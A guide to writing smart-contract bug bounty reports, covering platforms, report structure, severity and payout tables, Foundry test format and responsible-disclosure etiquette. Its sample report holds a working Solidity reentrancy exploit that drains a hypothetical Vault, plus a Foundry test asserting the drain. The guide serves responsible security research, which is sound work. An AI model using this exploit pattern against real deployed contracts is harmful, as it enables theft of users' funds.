# Your First Bug Bounty Submission — A Practical Guide
You found a bug in a smart contract. Now what? Here is how to write a report that gets accepted and paid.
Choosing a Program
Start with platforms:
- Immunefi — largest DeFi bug bounties, up to $10M payouts
- Code4rena — competitive audits, fixed prize pool
- Sherlock — similar to C4, but Sherlock stakes capital on audit quality
Read the scope carefully. Many programs exclude known issues, front-running, governance attacks, or off-chain components.
What Makes a Good Report
A bug bounty report has five sections:
Here is an example:
## Title
Reentrancy in withdraw() allows complete fund drain
Severity
Critical — attacker can drain all contract ETH
Proof of Concept
solidity
contract Exploit {
Vault target;
constructor(address _target) {
target = Vault(_target);
}
function attack() external payable {
target.deposit{value: 1 ether}();
target.withdraw(1 ether);
}
receive() external payable {
if (address(target).balance > 0) {
target.withdraw(1 ether);
}
}
}
## Impact
Attacker deposits 1 ETH, withdraws all contract funds via reentrancy.
Recommendation
Use nonReentrant modifier from OpenZeppelin ReentrancyGuard.
Severity Rubric
| Severity | Impact | Likelihood | Example |
|----------|--------|------------|---------|
| Critical | Loss of funds | High | Reentrancy, unchecked external call |
| High | Protocol halt or theft | Medium | Access control bypass, oracle manipulation |
| Medium | Incorrect state, griefing | High | Rounding errors, DoS |
| Low | UX issue, optimization | Low | Gas inefficiency, missing events |
Overestimating severity gets your report rejected. Underestimating it costs you money.
PoC Format
Use Foundry. Judges do not want to run custom scripts.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Vault.sol";
contract VaultExploitTest is Test {
Vault vault;
Attacker attacker;
function setUp() public {
vault = new Vault();
attacker = new Attacker(address(vault));
// Seed vault with funds
vm.deal(address(vault), 100 ether);
}
function testReentrancy() public {
uint256 balanceBefore = address(vault).balance;
attacker.attack{value: 1 ether}();
assertEq(address(vault).balance, 0, "Vault drained");
}
}
If the test passes and demonstrates fund loss, the report is credible.
Communication Etiquette
- Be professional — no threats, no hype
- Do not disclose publicly before resolution
- Give the team time to fix (30-90 days is standard)
- Do not submit the same bug to multiple programs
Programs blacklist researchers who violate disclosure rules.
Payout Expectations
| Severity | Typical Payout |
|----------|----------------|
| Critical | $50k - $1M+ |
| High | $10k - $50k |
| Medium | $1k - $10k |
| Low | $100 - $1k |
DeFi protocols with high TVL pay more. NFT projects pay less.
Common Rejection Reasons
- Out of scope — bug is in a contract not covered by the program
- Already known — team is aware and has it on the roadmap
- Insufficient impact — bug has no realistic exploit path
- Invalid PoC — test does not demonstrate the issue
- Duplicate — someone else submitted it first
Read the scope twice before submitting.
Summary
Bug bounties reward clarity and precision. Write a report that a non-technical judge can triage in 5 minutes. Include a runnable PoC. Justify severity with real impact. If you do that, you will get paid.